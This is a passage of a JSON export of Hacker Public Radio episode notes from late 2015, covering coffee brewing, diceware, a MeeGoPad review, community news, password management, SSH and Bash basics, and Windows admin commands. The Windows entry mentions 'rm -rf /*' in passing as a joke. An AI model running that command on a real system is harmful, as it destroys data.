                                                            9. Brew time. Each brewing method's brew time varies (French Press, espresso, pour over, drip, Aero Press, etc.). As little as 30 seconds (espresso) to between three to four minutes for the others is needed. So, experiment. Keep all the other factors the same and only vary the brew time until you get that "just right" cup. But, of course, if you like Nescafé instant, let it steep for 10 minutes.

                                                            10. \n
                                                            \n

                                                            Does all of this seem like a lot of time and bother just for a cup of coffee? Hell, yes!! But didn't it seem like a lot of time and bother to make that first perfect omelet? And wasn't it worth it, once you got the hang of it. It was no fuss at all. It's just like putting your pants on or brushing your teeth. You no longer have to think about it. You just do it.

                                                            \n

                                                            And once you get the hang of it, the timing and flow to making that "Just right" cup of coffee, you'll be able to enjoy a perfect cup every time without breaking a sweat or furrowing a brow.

                                                            \n

                                                            So, here's to ya. Enjoy. And maybe next time we'll look at blending beans to create a euphoric cacophany of mouth flavors.

                                                            \n

                                                            Bye bye

                                                            ","hostid":313,"series":88,"explicit":1,"license":"CC-BY-SA","tags":"coffee,coffee making ","version":0,"downloads":0,"valid":1}, {"id":1888,"date":"2015-10-28","title":"Diceware Passphrase","duration":758,"summary":"Demonstration of using the diceware method of passphrase generation","notes":"

                                                            A walk through of how to use diceware (https://world.std.com/~reinhold/diceware.html) to create a passphrase and update your GPG key to use it.

                                                            ","hostid":277,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"security, gpg","version":0,"downloads":0,"valid":1}, {"id":1889,"date":"2015-10-29","title":"experiencing the meegopad T-02 part one","duration":789,"summary":"And now for something completely different","notes":"

                                                            This is HPR episode ${1889r) entitled "${experiencing the meegopad T-02 part one}". It is hosted by ${A Shadowy Figure} and is ${13} minutes long. The Summary: "${And now for something completely different}"

                                                            \n

                                                            Apologies to speed listeners. I just couldn't make this episode speed-listener-friendly.

                                                            \n

                                                            This episode was made out of respect and admiration for the HPR contributers mentioned throughout the show.

                                                            \n

                                                            Disclaimer:

                                                            \n

                                                            I barely have a clue of what I am doing. And there are mistakes all over the place in this episode. It's just something I wanted to through out there to change things up a little, and pay homage to those I admire, and with a little luck, inspire others to use their creativity to record an episode of their own.

                                                            \n

                                                            You can do better. And I want to hear what you have to offer.

                                                            \n

                                                            The meegopad T-02 turned out to be something I wouldn't recommend to others, and the follow-up episode to this one will be a walk through of what it takes to "hack" the T-02 into being something that is usable.

                                                            \n

                                                            Depending on the feedback to this episode, I can either follow the theme I started with this show, or do a more traditional HPR episode with a no frills walk through of the process of hacking the T-02 to work as advertised. So let me know what you prefer.

                                                            \n

                                                            Apologies to listeners from outside North America. The many slang terms used throughout the episode are representative of the hard boiled genre of noir to give this episode a certain "feel".

                                                            \n
                                                              \n
                                                            • Dames = women
                                                            • \n
                                                            • lucky strikes = cigarettes
                                                            • \n
                                                            • Barbies = women
                                                            • \n
                                                            • Kung fu grip = a GI jo action figure feature from the 70's
                                                            • \n
                                                            • 70 Roadrunner = High performance American Muscle car by Plymouth
                                                            • \n
                                                            • Posi traction = both rear wheels turn at the same rate at all times
                                                            • \n
                                                            • Thermoquad = High performance carburetor
                                                            • \n
                                                            • The elusive split tail blond fox = a pretty woman
                                                            • \n
                                                            • Dough = money
                                                            • \n
                                                            • Fence = seller of stolen goods
                                                            • \n
                                                            • Capt'n Crunch = an American brand of breakfast cereal
                                                            • \n
                                                            • Multimeter modifier = NYBill an HPR contributers
                                                            • \n
                                                            • Rig = computer
                                                            • \n
                                                            • Telnet = the way we used to communicate digitally before the world wide web was developed
                                                            • \n
                                                            • TRS-80 = an early personal computer
                                                            • \n
                                                            • clams = American dollars
                                                            • \n
                                                            • Jacksons = $20 dollar bill
                                                            • \n
                                                            • sega master system = the predecessor to the sega genesis gaming console (circa 1986)
                                                            • \n
                                                            • Sony Trinitron = discontinued telivision set
                                                            • \n
                                                            • Netgear 600= wifi router
                                                            • \n
                                                            \n

                                                            Products mentioned in this episode

                                                            \n\n

                                                            All music contained within, courtesy Kevin MacLeod of Incompitech.com https://incompetech.com/wordpress/

                                                            \n

                                                            Sound effects courtesy

                                                            \n
                                                              \n
                                                            • Lonemonk
                                                            • \n
                                                            • Rutgermuller
                                                            • \n
                                                            • dhoy42
                                                            • \n
                                                            • henaway
                                                            • \n
                                                            • tuben
                                                            • \n
                                                            • soundmary
                                                            • \n
                                                            • knankbeeld
                                                            • \n
                                                            • inchadney
                                                            • \n
                                                            • kraftwerk2k1
                                                            • \n
                                                            • elonen
                                                            • \n
                                                            • gurdonark
                                                            • \n
                                                            • cubic-archon
                                                            • \n
                                                            • confusion music
                                                            • \n
                                                            • zachfbstudios
                                                            • \n
                                                            • husky70
                                                            • \n
                                                            • solis2
                                                            • \n
                                                            • magixmusic
                                                            • \n
                                                            • dapperdaniel
                                                            • \n
                                                            • robinhood76
                                                            • \n
                                                            • djfroyd
                                                            • \n
                                                            • boilingsand
                                                            • \n
                                                            \n

                                                            of Freesound.org. https://freesound.org

                                                            \n

                                                            Links

                                                            \n\n","hostid":308,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"MeeGoPad T02 ","version":0,"downloads":0,"valid":1}, {"id":1890,"date":"2015-10-30","title":"A short walk with my son","duration":1122,"summary":"Dave takes a walk with his son Alex and spouts a bunch of random guff about things","notes":"

                                                            We start the show by saying ta-ra to the wife and daughters and starting on our walk.

                                                            \n

                                                            Note to self: record an HPR episode about coffee

                                                            \n

                                                            This episode inspired by jonkulp's emergency HPR episode entitled "biking2work", as mentioned on his GNUsocial post: https://micro.fragdev.com/notice/1425116

                                                            \n

                                                            I give a brief introduction to who I am, and where I live.

                                                            \n
                                                            \n

                                                            Neewer Lapel Microphones from Amazon UK https://www.amazon.co.uk/dp/B005DOTSM4/

                                                            \n

                                                            The lapel mic issue at our church. £1.50 a piece, rather than £25+ for an official replacement.

                                                            \n
                                                            \n

                                                            Background to my 7½ year podcasting history:

                                                            \n\n

                                                            Other music podcasts too

                                                            \n

                                                            Note to self: record an HPR episode on my journey into podcasting
                                                            Note to self: record an HPR episode on my journey into Linux

                                                            \n
                                                            \n

                                                            Metric vs Imperial measurements

                                                            \n

                                                            Note to self: record an HPR episode on variances between different measurement systems

                                                            \n

                                                            A comparison between my Nexus 7 and my Olympus DM-3 recorder, both with and without the lapel mic. https://media.thelovebug.org/u/thelovebug/m/lapel-microphone-comparisons/

                                                            \n

                                                            Small glitch in the recording resulted in about 5 seconds being dropped, so it sounds a little disjointed at one point

                                                            \n
                                                            \n

                                                            Opinion around acceptable audio quality.
                                                            "If you can hear it, it's good enough."

                                                            \n

                                                            Note to self: record an HPR episode on Auphonic and how to improve audio quality with very little effort

                                                            \n

                                                            https://auphonic.com/

                                                            \n
                                                            \n

                                                            What would happen if Alex slipped and rolled down the hill.
                                                            Alex gives a quick introduction to himself.
                                                            He's also the slowest human in history.

                                                            \n
                                                            \n

                                                            I did run this episode through Auphonic, which didn't do a bad job in the slightest.
                                                            Settings used: Adaptive Leveler, Filtering, Noise and hum reduction set to Auto.
                                                            According to the processing results, hum reduction wasn't needed.

                                                            \n

                                                            It would appear as though I've promised Ken 5 new shows - no pressure, eh.

                                                            \n
                                                            \n

                                                            Contact me:

                                                            \n\n
                                                            \n

                                                            Links

                                                            \n\n","hostid":314,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"microphone,audio quality,auphonic.com,The Bugcast,Duffercast ","version":0,"downloads":0,"valid":1}, {"id":1891,"date":"2015-11-02","title":"HPR Community News for October 2015","duration":2667,"summary":"HPR Community News for October 2015","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n clacke, \n Moral Volcano, \n JustMe, \n thelovebug.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1869Thu2015-10-01Irssi ConnectbotNYbill
                                                            1870Fri2015-10-0219 - Home SSH ServerAhuka
                                                            1871Mon2015-10-05HPR Community News for September 2015HPR Volunteers
                                                            1872Tue2015-10-06Sim City BuildIt September 2015swift110
                                                            1873Wed2015-10-07TiT Radio 21 - I Thought I Had Better LinksFiftyOneFifty
                                                            1874Thu2015-10-08Interview with DroopsKen Fallon
                                                            1875Fri2015-10-0963 - LibreOffice Impress - Formatting TextAhuka
                                                            1876Mon2015-10-12MicrobeLog, or: On Shaving Yaks and Doing Thingsclacke
                                                            1877Tue2015-10-13Recording HPR on the fly on your Android phoneclacke
                                                            1878Wed2015-10-14What's In My BagMr. Young
                                                            1879Thu2015-10-15Hacking a Belt to Make it FitJon Kulp
                                                            1880Fri2015-10-16Arduino Bluetooth HOWTOklaatu
                                                            1881Mon2015-10-19My road to Linuxclacke
                                                            1882Tue2015-10-20How I Compute Away From My ComputerThaj Sara
                                                            1883Wed2015-10-21Don't Get Locked InKnightwise
                                                            1884Thu2015-10-22Some more Bash tipsDave Morriss
                                                            1885Fri2015-10-2364 - LibreOffice Impress - MultimediaAhuka
                                                            1886Mon2015-10-26Moral Volcano's Linux Tips & Tricks podcast for Hacker Public RadioMoral Volcano
                                                            1887Tue2015-10-27Coffee Making BasicsJustMe
                                                            1888Wed2015-10-28Diceware PassphraseJohn Duarte
                                                            1889Thu2015-10-29experiencing the meegopad T-02 part oneA Shadowy Figure
                                                            1890Fri2015-10-30A short walk with my sonthelovebug
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-09-28 11:15:19 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2015-10-03T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/965
                                                              \n Messages: 6

                                                            2. \n
                                                            3. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-10-26 08:56:11 UTC
                                                              \n Subject: HPR Community News - next Saturday on 2015-10-31T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/973
                                                              \n Messages: 4
                                                            4. \n
                                                            \nTotal messages this month: 10
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 32 comments:

                                                            \n
                                                              \n
                                                            • hpr1728\n(2015-03-18) \"Requested Topic: Favourite Browser Extensions\"\nby Fin.\n
                                                              • Comment 3:\nFin on 2015-10-30:\n\"Ad-Block Edge Successor\"
                                                              • \n

                                                            • \n
                                                            • hpr1828\n(2015-08-05) \"Multimeter Mod's Part 1\"\nby NYbill.\n
                                                              • Comment 3:\nNeandergeek on 2015-10-17:\n\"Great imprompto series\"
                                                              • \n

                                                            • \n
                                                            • hpr1848\n(2015-09-02) \"Introduction to w3m, a Command Line Web Browser\"\nby Frank Bell.\n
                                                              • Comment 1:\ntom_len on 2015-10-01:\n\"automatize login from command line\"
                                                              • Comment 2:\nFrank on 2015-10-27:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1859\n(2015-09-17) \"A Mouse in a Maze on the Raspberry PI\"\nby Gabriel Evenfire.\n
                                                              • Comment 2:\nEric on 2015-10-07:\n\"A better maze\"
                                                              • Comment 3:\nGabriel Evenfire on 2015-10-13:\n\"Maze generation\"
                                                              • \n

                                                            • \n
                                                            • hpr1862\n(2015-09-22) \"The Awesomely Epic Guide To KDE Part 1\"\nby Geddes.\n
                                                              • Comment 2:\nGeddes on 2015-10-16:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1863\n(2015-09-23) \"The Awesomely Epic Guide To KDE Part 2\"\nby Geddes.\n
                                                              • Comment 2:\nGeddes on 2015-10-16:\n\"Thanks for the feedback\"
                                                              • \n

                                                            • \n
                                                            • hpr1864\n(2015-09-24) \"Turning an old printer into a network printer\"\nby Dave Morriss.\n
                                                              • Comment 3:\nturtle on 2015-10-05:\"[no title]\"
                                                              • Comment 4:\nDave Morriss on 2015-10-06:\n\"DEC-LN03\"
                                                              • Comment 5:\nBob Evans on 2015-10-07:\n\"connecting to legacy printers\"
                                                              • Comment 6:\nDave Morriss on 2015-10-07:\n\"Re: connecting to legacy printers\"
                                                              • \n

                                                            • \n
                                                            • hpr1866\n(2015-09-28) \"An awkward talk with two young computer users\"\nby Quvmoh.\n
                                                              • Comment 2:\ncombiner on 2015-10-05:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1867\n(2015-09-29) \"The Lafayette Public Library Maker Space\"\nby Jon Kulp.\n
                                                              • Comment 1:\namunizp on 2015-10-07:\n\"3D print\"
                                                              • \n

                                                            • \n
                                                            • hpr1870\n(2015-10-02) \"19 - Home SSH Server\"\nby Ahuka.\n
                                                              • Comment 1:\nkdmurray on 2015-10-06:\n\"SSH Passwords\"
                                                              • \n

                                                            • \n
                                                            • hpr1874\n(2015-10-08) \"Interview with Droops\"\nby Ken Fallon.\n
                                                              • Comment 1:\ndroops on 2015-09-27:\n\"Thanks\"
                                                              • Comment 2:\nJ. on 2015-10-08:\"[no title]\"
                                                              • Comment 3:\nDave Morriss on 2015-10-13:\n\"I loved this interview\"
                                                              • \n

                                                            • \n
                                                            • hpr1880\n(2015-10-16) \"Arduino Bluetooth HOWTO\"\nby klaatu.\n
                                                              • Comment 1:\nMike Ray on 2015-10-16:\n\"Great show\"
                                                              • \n

                                                            • \n
                                                            • hpr1881\n(2015-10-19) \"My road to Linux\"\nby clacke.\n
                                                              • Comment 1:\nFin on 2015-10-19:\n\"Music fail\"
                                                              • Comment 2:\nDave Morriss on 2015-10-23:\n\"Great episode\"
                                                              • Comment 3:\nclacke on 2015-10-26:\n\"Thanks\"
                                                              • \n

                                                            • \n
                                                            • hpr1884\n(2015-10-22) \"Some more Bash tips\"\nby Dave Morriss.\n
                                                              • Comment 1:\nFrank on 2015-10-27:\"[no title]\"
                                                              • Comment 2:\nDave Morriss on 2015-10-27:\n\"Thanks Frank, glad you enjoyed it\"
                                                              • Comment 3:\nFrank on 2015-10-28:\"[no title]\"
                                                              • Comment 4:\nDave Morriss on 2015-10-29:\n\"Regular expressions\"
                                                              • \n

                                                            • \n
                                                            • hpr1889\n(2015-10-29) \"experiencing the meegopad T-02 part one\"\nby A Shadowy Figure.\n
                                                              • Comment 1:\nGNULinuxRTM on 2015-10-29:\n\"Execellent Episode.\"
                                                              • Comment 2:\nJon Kulp on 2015-10-30:\n\"Tremendous! \"
                                                              • Comment 3:\nFin on 2015-10-30:\n\"Fantastic!\"
                                                              • Comment 4:\nA Shadowy Figure on 2015-10-31:\n\"Like your work as well GNULinuxRTM\"
                                                              • \n

                                                            • \n
                                                            • hpr1890\n(2015-10-30) \"A short walk with my son\"\nby thelovebug.\n
                                                              • Comment 1:\nJon Kulp on 2015-10-30:\n\"Up with the $2 lapel mic! \"
                                                              • Comment 2:\nMike Ray on 2015-10-31:\n\"Audio Quality\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1892,"date":"2015-11-03","title":"my chicken coop","duration":610,"summary":"jezra blabs about the brok brok brok house","notes":"

                                                            \nDoor hardware build: https://www.jezra.net/blog/GNU_Linux_chicken_coop_door_hardware.html\n

                                                            \n

                                                            \nThe twilight checker: https://www.jezra.net/blog/The_magic_starts_at_330AM_a_coop_story.html\n

                                                            ","hostid":243,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"chicken","version":0,"downloads":0,"valid":1}, {"id":1893,"date":"2015-11-04","title":"My LastPass Alternative","duration":225,"summary":"How I do password management among my devices.","notes":"

                                                            \nMy LastPass Alternative\n

                                                            \n\n\n\n

                                                            \nSave file to a location that will be synced between devices. Im my case Owncloud. Desktop Client syncs available for Linux, Windows and Mac. Mobile clients for Android, IOS, and even blackberry. Syncing note: I do not launch the desktop client on login. This allows the owncloud client to sync files before launching keepass. Also, I exit keypass before logging out for the same reason.\n

                                                            \n

                                                            \nFor integration with browser, there are\n

                                                            \n\n\n\n

                                                            \nAnd finally when on machines I don't control:\n

                                                            \n\n\n\n

                                                            \nOn same server with ownlcloud, can open files\n

                                                            ","hostid":273,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Lastpass, keepass, password management","version":0,"downloads":0,"valid":1}, {"id":1894,"date":"2015-11-05","title":"Interview with Davide Zilli and Dr Marianne Sinka of the HumBug Project","duration":3648,"summary":"Mosquito Detection and Habitat Mapping for Improved Malaria Modelling","notes":"

                                                            \nBack in 2012 I put up a blog post on my site related to the need for an Open Source Mosquito Locator. Mosquitoes are the greatest killer of humans per year.\n

                                                            \n\n

                                                            \nRecently Alexandre Azzalini left a comment pointing me to the HumBug project which is dedicated to Mosquito Detection and Habitat Mapping for Improved Malaria Modelling. I got in touch, and so today I talk to Davide Zilli, and Dr. Marianne Sinka who were winners of the Google Impact Challenge UK 2014.\n

                                                            \n

                                                            \n

                                                            Royal Botanic Gardens Kew: Crowdsourcing data to help prevent mosquito-borne diseases

                                                            \n

                                                            \nMosquitoes are responsible for the spread of some of the most deadly and costly diseases, with more than half the world's population living in areas where they are routinely exposed to disease carrying mosquitoes. One of the most deadly diseases that they transmit is malaria, that kills over 600,000 people every year. The Royal Botanic Gardens Kew will equip villagers in rural Indonesia with wearable acoustic sensors to detect the sound of mosquitoes. Each species has its own wing beat allowing the research team to record the occurrence of different species, as well as daily readings of critical environmental conditions. Combined with detailed vegetation maps, this will be able to track disease-bearing mosquitoes. Over the next three years, Kew Gardens will work with Oxford University to turn this project into a reality, creating a downloadable smartphone app and a range of wearable acoustic detectors. This novel technology will be trialled in 150 rural households in Indonesia with the aim of preventing and managing outbreaks of mosquito-borne disease. This prototype technology has the potential ultimately to be rolled out in every region of the world where mosquito-borne diseases pose a threat to life.
                                                            \nhttps://impactchallenge.withgoogle.com/uk2014\n

                                                            \n

                                                            \nTheir approach is to use a Goertzel algorithm running on either a dedicated device or on a smart phone to identify species. This data will then be used for Habitat Mapping and Vector modeling to try and target only species that are a danger to Humans.\n

                                                            \n\n

                                                            \nReach them on Twitter @humbugmozz\n

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"mosquito, humbug, Google Impact Challenge, Hardware","version":0,"downloads":0,"valid":1}, {"id":1895,"date":"2015-11-06","title":"65 - LibreOffice Impress - OLE Objects, Spreadsheets, and Charts","duration":966,"summary":"Using Calc modules and data in a presentation","notes":"

                                                            \nThe next topic we want to cover involves something called OLE, which stands for Object Linking and Embedding. This was developed by Microsoft, but has spread to the free software world as well. What it means is that you can use data from two different programs together, and changes made in place are automatically reflected in the other place. A great example comes with spreadsheets, since you create them in a spreadsheet program like Calc, but you might want to take a table created there and put it into a slide to display. \nFor more go to https://www.ahuka.com/?page_id=1275\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, OLE, Spreadsheets, Charts","version":0,"downloads":0,"valid":1}, {"id":1896,"date":"2015-11-09","title":"User Local Software","duration":251,"summary":"Eric describes a technique for organizing and working on user-installed source code and binaries","notes":"

                                                            In this recording I describe how I decided where to store software that I downloaded manually, as opposed to software that is installed and organized automatically by GNU/Linux systems.

                                                            \n

                                                            SPOILER: I settled on ~/local/src/ and ~/local/opt/

                                                            \n

                                                            Happy Halloween.

                                                            \n

                                                            This is my first time recording a podcast. I recorded this in an afternoon when no one else was around except the furry kids and the neighbors outside. I've had the idea for this episode for a while, but having never recorded before didn't really know when/where/how to do it until just now.

                                                            \n

                                                            The perspective of this episode comes from a GNU/Linux user since Sept. 2012, and a little bit of experience from 2002-2004. I'm interested in easy, simple solutions that everyone can use to solve problems or use new things.

                                                            \n

                                                            Special thanks to Clacke for recommending in his recent episode the free/open-source Android recording application uRecord available from F-Droid. The resulting audio sounds great and uRecord is very easy to use. I recorded several separate paragraphs and concatenated them with Audacity.

                                                            \n","hostid":317,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, gnulinux, freesoftware, sourcecode","version":0,"downloads":0,"valid":1}, {"id":1897,"date":"2015-11-10","title":"Installing Windows 7 Ultimate","duration":1357,"summary":"I talk about installing Windows 7 Ultimate on a 320 GB HDD I got from a friend","notes":"

                                                            \nhttps://anthonyvenable110.wordpress.com is my blog so feel free to check me out there.\n

                                                            \n","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"windows, operating system installation, windows 7 Ultimate, windows 7","version":0,"downloads":0,"valid":1}, {"id":1898,"date":"2015-11-11","title":"Free my music!","duration":392,"summary":"How I got my music off my Mac and ended my iDependence.","notes":"

                                                            \nHow I got my music library transferred from my Mac to my Linux box, thereby allowing me to fully switch to Linux. This is a problem I've been neglecting for a while that has been keeping me tethered to iTunes whenever I want to hear my music. This probably isn't the best or simplest solution, but it's how I felt comfortable doing it.\n

                                                            ","hostid":303,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, Mac, music, iTunes, switch","version":0,"downloads":0,"valid":1}, {"id":1899,"date":"2015-11-12","title":"MyTinyTodo List","duration":752,"summary":"Introduction to one of my favorite productivity tools, the web-based todo list called MyTinyTodo","notes":"

                                                            This show is about my favorite tool to keep track of stuff I have to do, stuff I want to do, gift ideas for my family, books I want to read, HPR topics to record, etc. It's called MyTinyTodo. It's a web app that you can host on your own server and access from any device that has a web browser.

                                                            \n

                                                            The website claims that it is already mobile friendly, but I did not like the mobile interface they had, and also did not like the fact that I had to use a different URL to get the mobile interface, so I hacked the stylesheet and the index.html file in the code to make it a responsive design. Now it looks great on all of my devices.

                                                            \n

                                                            Features

                                                            \n
                                                              \n
                                                            • Multiple lists
                                                            • \n
                                                            • Task notes
                                                            • \n
                                                            • Tags (and tag cloud)
                                                            • \n
                                                            • Due dates (input format: y-m-d, m/d/y, d.m.y, m/d, d.m)
                                                            • \n
                                                            • Priority (-1, 0, +1, +2)
                                                            • \n
                                                            • Different sortings including sort by drag-and-drop
                                                            • \n
                                                            • Search
                                                            • \n
                                                            • Password protection
                                                            • \n
                                                            \n

                                                            System requirements

                                                            \n
                                                              \n
                                                            • PHP 5.2.0 or greater;
                                                            • \n
                                                            • PHP extensions: php_mysql (MySQL version), php_pdo and php_pdo_sqlite (SQLite version).
                                                            • \n
                                                            \n

                                                            Installation

                                                            \n

                                                            Setup is very easy as these things go. Check out the installation instructions at their website.

                                                            ","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"productivity, organization, web apps, self-hosting","version":0,"downloads":0,"valid":1}, {"id":1900,"date":"2015-11-13","title":"20 - SSH Basics","duration":1009,"summary":"In this we tutorial explore the basics of making an ssh connection.","notes":"

                                                            \nSo as we saw in the introductory tutorial, SSH uses the Client-Server model. Now, technically a server is just the machine you are connecting to, and there is no reason in principle that it could not be another desktop, a laptop, or even a telephone if it has the appropriate software. and in the previous tutorial we showed how you can easily install and set up an ssh server on your home network using another computer or a Raspberry Pi so that you can experiment with these commands. The model really reduces to you as the client, and the other machine as the server. As with all Internet connections there are standards and protocols involved. The original Telnet communicated over TCP through port 23. Because SSH was conceived as a replacement, it used the same TCP protocols, and was assigned the adjacent port number of 22. \nFor more go to https://www.zwilnik.com/?page_id=726 \n

                                                            \n\n

                                                            Links:

                                                            \n\n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"ssh, client, basics","version":0,"downloads":0,"valid":1}, {"id":1901,"date":"2015-11-16","title":"Instaling Linux programs without internet","duration":294,"summary":"I install supertuxkart at home on my PC","notes":"

                                                            \nhttps://www.supertuxkart,net/downloads to get your copy of the game\n

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, open source games, free","version":0,"downloads":0,"valid":1}, {"id":1902,"date":"2015-11-17","title":"My Linux Tool Box","duration":1411,"summary":"Fin talks about his digital box of Linux tools.","notes":"

                                                            \nTools I use:\n

                                                            \n
                                                              \n
                                                            1. Htop - Command line system monitor
                                                            2. \n
                                                            3. Firefox - The best web browser
                                                            4. \n
                                                            5. Pluma or Gedit - Great gui text editors
                                                            6. \n
                                                            7. Yaourt or Synaptic - Simple yet powerful package managers
                                                            8. \n
                                                            9. Gucharmap - Character map for all your unicode needs
                                                            10. \n
                                                            11. Markdown - Distraction free, simple document writing.
                                                            12. \n
                                                            13. VLC - The one true media player.
                                                            14. \n
                                                            15. Cinnamon Desktop Environment - My favorite desktop environment.
                                                            16. \n
                                                            17. LibreOffice - For my limited office application needs.
                                                            18. \n
                                                            19. Evince or Atril - Simple, effective, reliable PDF readers.
                                                            20. \n
                                                            21. mtPaint - Pixel art programme.
                                                            22. \n
                                                            23. Inkscape - Vector graphics tool. Great for drawing.
                                                            24. \n
                                                            25. GIMP - The Gnu Image Manipulation Programme.
                                                            26. \n
                                                            27. Gnome Terminal or Mate Terminal - My preferred GUI terminals.
                                                            28. \n
                                                            29. Redshift - Ease your screen viewing when the sun goes down.
                                                            30. \n
                                                            31. Alarm Clock Applet - Used for the Pomodoro time management technique.
                                                            32. \n
                                                            33. Gparted - My preferred partition management tool.
                                                            34. \n
                                                            35. Steam - Lots of freedom hating games.
                                                            36. \n
                                                            37. Play on Linux - Tool to play other freedom hating games.
                                                            38. \n
                                                            39. Gpick - Simple colour picker and colour scheme generator.
                                                            40. \n
                                                            41. Thunderbird - My preferred email client. The best of a boring bunch.
                                                            42. \n
                                                            43. Skype - My nessecessity for human contact.
                                                            44. \n
                                                            45. Transmission - Torrent client. Great for downloading lots of Linux Distros!
                                                            46. \n
                                                            47. Uget - For when I need a large file that doesn't have a torrent.
                                                            48. \n
                                                            49. Java - I use OpenJDK and OpenJRE as java is my first language.
                                                            50. \n
                                                            51. Asunder CD Ripper - For ripping audio CD collections.
                                                            52. \n
                                                            53. Audacity - For recording this podcast!
                                                            54. \n
                                                            55. Music Brainz Picard - Tag, accurately, all those freshly ripped CDs.
                                                            56. \n
                                                            57. Virtualbox - Try all those .iso Linux distributions you just downloaded!
                                                            58. \n
                                                            59. GUFW - GUI Uncomplicated Fire Wall. Does exactly what it says on the tin.
                                                            60. \n
                                                            61. Numix Theme - A very complete theme with a lovely icon set. Flat style, very modern.
                                                            62. \n
                                                            ","hostid":299,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"Linux, GNU, Operating System, Tools, Utilities, Software","version":0,"downloads":0,"valid":1}, {"id":1903,"date":"2015-11-18","title":"Some further Bash tips","duration":1758,"summary":"Some more information about types of expansion in Bash","notes":"

                                                            Some further Bash tips

                                                            \n

                                                            Expansion

                                                            \n

                                                            There are seven types of expansion applied to the command line in the following order:

                                                            \n
                                                              \n
                                                            • Brace expansion (we looked at this subject in the last episode 1884)
                                                            • \n
                                                            • Tilde expansion
                                                            • \n
                                                            • Parameter and variable expansion (this was covered in episode 1648)
                                                            • \n
                                                            • Command substitution
                                                            • \n
                                                            • Arithmetic expansion
                                                            • \n
                                                            • Word splitting
                                                            • \n
                                                            • Pathname expansion
                                                            • \n
                                                            \n

                                                            We will look at some more of these in this episode but since there is a lot to cover, we'll continue in a later episode.

                                                            \n

                                                            I have written out a moderately long set of notes about this subject and these are available by following this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,expansion,tilde expansion,command substitution","version":0,"downloads":0,"valid":1}, {"id":1904,"date":"2015-11-19","title":"Windows Command Line Tips and Tricks","duration":441,"summary":"Some tips to make you feel more comfortable on the Windows side of things.","notes":"

                                                            Hello, HPR. I am OnlyHalfTheTime, the Reluctant Windows Admin. I am a Linux user at home and at heart. I run VPSs on Digital Ocean, host websites all in Linux, mostly Ubuntu. By day, however, I work for an Managed Services Provider which deals with all Windows boxes.

                                                            \n

                                                            Today, I would like to talk about some tips and tricks I have come across while being forced to make the best out of a Windows environment. Being a Linux user, I find that many functions are more quickly completed if you drop to a Command Line Interface. This holds true for many Windows functions as well.

                                                            \n

                                                            First, let's establish the kind of environment you will need.

                                                            \n

                                                            Unfortunately, there is no sudo command built in to Windows. What we will need to do is run a command prompt as an administrator. On Windows 7, you can accomplish this by clicking the start menu, typing cmd, then rightclicking the command prompt program and choosing 'run as administrator'. In Windows 8 and 10, you can right click the start menu directly and click Command Prompt Admin.

                                                            \n

                                                            This is almost the equivalent to running as root. You can affect almost anything except some system protected files. No rm -rf /* for you! The windows user most like root would be SYSTEM. Running a command prompt as SYSTEM is possible to accomplish a few ways, but is very very rarely needed. I can make another podcast about that later, but it is out-of-scope here.

                                                            \n

                                                            Lets get into our first example: User creation is so much easier at the Windows command line. For example, I want to add a local user to a system with administrative rights. From an admin command prompt, I type:

                                                            \n
                                                            net user john hunter2  /add
                                                            \n

                                                            this creates the user john with the password hunter2. Then I type:

                                                            \n
                                                            net localgroup administrators john /add
                                                            \n

                                                            This adds john to the local group administrators. This group has admin rights on this local machine. Say john abuses this privilege and needs to have his permissions revoked.

                                                            \n
                                                            net localgroup administrators john /delete
                                                            \n

